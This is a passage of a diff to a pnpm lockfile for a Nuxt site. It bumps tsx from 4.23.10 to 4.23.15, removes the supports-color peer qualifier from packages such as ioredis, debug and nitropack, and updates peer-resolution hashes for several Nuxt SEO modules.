impound@1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: '@jridgewell/trace-mapping': 0.3.31 es-module-lexer: 2.3.1 pathe: 2.0.3 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unplugin-utils: 0.3.2 transitivePeerDependencies: - '@farmfe/core' @@ -9810,11 +9810,11 @@ snapshots: ini@6.0.0: {} - ioredis@5.11.1(supports-color@10.2.2): + ioredis@5.11.1: dependencies: '@ioredis/commands': 1.10.0 cluster-key-slot: 1.1.1 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 denque: 2.1.0 redis-errors: 1.2.0 redis-parser: 3.0.0 @@ -9971,9 +9971,9 @@ snapshots: libphonenumber-js@1.13.10: {} - lighthouse-logger@2.0.2(supports-color@10.2.2): + lighthouse-logger@2.0.2: dependencies: - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 marky: 1.3.0 transitivePeerDependencies: - supports-color @@ -10200,7 +10200,7 @@ snapshots: natural-compare@1.4.0: {} - nitropack@2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + nitropack@2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: '@cloudflare/kv-asset-handler': 0.4.2 '@rollup/plugin-alias': 6.0.0(rollup@4.62.4) @@ -10210,7 +10210,7 @@ snapshots: '@rollup/plugin-node-resolve': 16.0.3(rollup@4.62.4) '@rollup/plugin-replace': 6.0.3(rollup@4.62.4) '@rollup/plugin-terser': 1.0.0(rollup@4.62.4) - '@vercel/nft': 1.10.2(rollup@4.62.4)(supports-color@10.2.2) + '@vercel/nft': 1.10.2(rollup@4.62.4) archiver: 7.0.1 c12: 3.3.4(magicast@0.5.4) chokidar: 5.0.0 @@ -10234,7 +10234,7 @@ snapshots: h3: 1.15.11 hookable: 5.5.3 httpxy: 0.5.5 - ioredis: 5.11.1(supports-color@10.2.2) + ioredis: 5.11.1 jiti: 2.7.0 klona: 2.0.6 knitwork: 1.3.0 @@ -10257,7 +10257,7 @@ snapshots: scule: 1.3.0 semver: 7.8.5 serve-placeholder: 2.0.2 - serve-static: 2.2.1(supports-color@10.2.2) + serve-static: 2.2.1 source-map: 0.7.6 std-env: 4.2.0 ufo: 1.6.4 @@ -10265,9 +10265,9 @@ snapshots: uncrypto: 0.1.3 unctx: 2.5.0 unenv: 2.0.0-rc.24 - unimport: 6.4.0(esbuild@0.28.1)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unimport: 6.4.0(esbuild@0.28.1)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unplugin-utils: 0.3.2 - unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)) + unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1) untyped: 2.0.0 unwasm: 0.5.3 youch: 4.1.1 @@ -10350,18 +10350,18 @@ snapshots: dependencies: boolbase: 1.0.0 - nuxt-link-checker@5.1.3(073d05fcc8850462c89d9255517da191): + nuxt-link-checker@5.1.3(ee45fc925654584e4a6f72bf8e386c53): dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) '@vueuse/core': 14.4.0(vue@3.5.41(typescript@6.0.3)) consola: 3.4.2 diff: 9.0.0 fuse.js: 7.5.0 h3: 1.15.11 magic-string: 1.1.0 - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) ofetch: 1.5.1 pathe: 2.0.3 pkg-types: 2.3.1 @@ -10369,7 +10369,7 @@ snapshots: site-config-stack: 4.2.0(vue@3.5.41(typescript@6.0.3)) ufo: 1.6.4 ultrahtml: 1.7.0 - unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)) + unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1) transitivePeerDependencies: - '@azure/app-configuration' - '@azure/cosmos' @@ -10399,13 +10399,13 @@ snapshots: - vue - zod - nuxt-og-image@6.7.6(53be939db9d25e3b03ee880813903870): + nuxt-og-image@6.7.6(f726c63e583b3eb786f27b68321e6d91): dependencies: '@clack/prompts': 1.7.0 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) '@vue/compiler-sfc': 3.5.41 - chrome-launcher: 1.2.1(supports-color@10.2.2) + chrome-launcher: 1.2.1 consola: 3.4.2 defu: 6.1.7 devalue: 5.9.2 @@ -10415,8 +10415,8 @@ snapshots: magic-string: 1.1.0 magicast: 0.5.4 mocked-exports: 0.1.1 - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) nypm: 0.6.9 object-identity: 0.2.3 ofetch: 1.5.1 @@ -10431,10 +10431,10 @@ snapshots: tinyexec: 1.3.0 ufo: 1.6.4 ultrahtml: 1.7.0 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1) optionalDependencies: - nitropack: 2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + nitropack: 2.13.4(@parcel/watcher@2.6.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(srvx@0.11.22)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) transitivePeerDependencies: - '@farmfe/core' - '@nuxt/schema' @@ -10451,17 +10451,17 @@ snapshots: - vue - webpack - nuxt-schema-org@6.2.8(ac023424663d637d35a549ec04853864): + nuxt-schema-org@6.2.8(2d10904abaf8d3b235f35e4fac57727b): dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) defu: 6.1.7 - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) pkg-types: 2.3.1 ufo: 1.6.4 optionalDependencies: - '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) - unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) transitivePeerDependencies: - '@nuxt/schema' - magic-string @@ -10473,31 +10473,31 @@ snapshots: - vite - vue - nuxt-seo-utils@8.3.3(c76948da82c2396f2c34923c70282261): + nuxt-seo-utils@8.3.3(a89aa3147dcc17dfe4200c84f0407a4d): dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) citty: 0.2.2 consola: 3.4.2 defu: 6.1.7 escape-string-regexp: 5.0.0 exsolve: 1.1.1 image-size: 2.0.2 - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) pathe: 2.0.3 pkg-types: 2.3.1 scule: 1.3.0 tinyglobby: 0.2.17 ufo: 1.6.4 optionalDependencies: - '@unhead/bundler': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@unhead/bundler': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) esbuild: 0.25.12 lightningcss: 1.33.0 rolldown: 1.2.3 sharp: 0.35.4(@types/node@26.1.2) - unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) transitivePeerDependencies: - '@nuxt/schema' - '@types/node' @@ -10509,9 +10509,9 @@ snapshots: - vue - zod - nuxt-site-config-kit@4.2.0(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vue@3.5.41(typescript@6.0.3)): + nuxt-site-config-kit@4.2.0(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vue@3.5.41(typescript@6.0.3)): dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) site-config-stack: 4.2.0(vue@3.5.41(typescript@6.0.3)) std-env: 4.2.0 ufo: 1.6.4 @@ -10523,15 +10523,15 @@ snapshots: - unplugin - vue - nuxt-site-config@4.2.0(f964271bb36a557850bb349e3da7a4bd): + nuxt-site-config@4.2.0(7f089dda3677d5e76f6c9e5335d8969d): dependencies: '@nuxt/devalue': 2.0.2 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) consola: 3.4.2 defu: 6.1.7 h3: 1.15.11 - nuxt-site-config-kit: 4.2.0(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vue@3.5.41(typescript@6.0.3)) - nuxtseo-shared: 5.3.10(506c592eb03846313a3f5d1595fc6889) + nuxt-site-config-kit: 4.2.0(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vue@3.5.41(typescript@6.0.3)) + nuxtseo-shared: 5.3.10(e7e317c556a96caaa3d5be917284fb38) pathe: 2.0.3 pkg-types: 2.3.1 site-config-stack: 4.2.0(vue@3.5.41(typescript@6.0.3)) @@ -10548,17 +10548,17 @@ snapshots: - vite - zod - nuxt@4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0): + nuxt@4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0): dependencies: - '@dxup/nuxt': 0.5.6(esbuild@0.25.12)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - '@nuxt/cli': 3.37.0(@nuxt/schema@4.5.2)(@parcel/watcher@2.6.0)(cac@7.0.0)(magicast@0.5.4)(supports-color@10.2.2) - '@nuxt/devtools': 3.4.1(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2))(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(supports-color@10.2.2)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) - '@nuxt/kit': 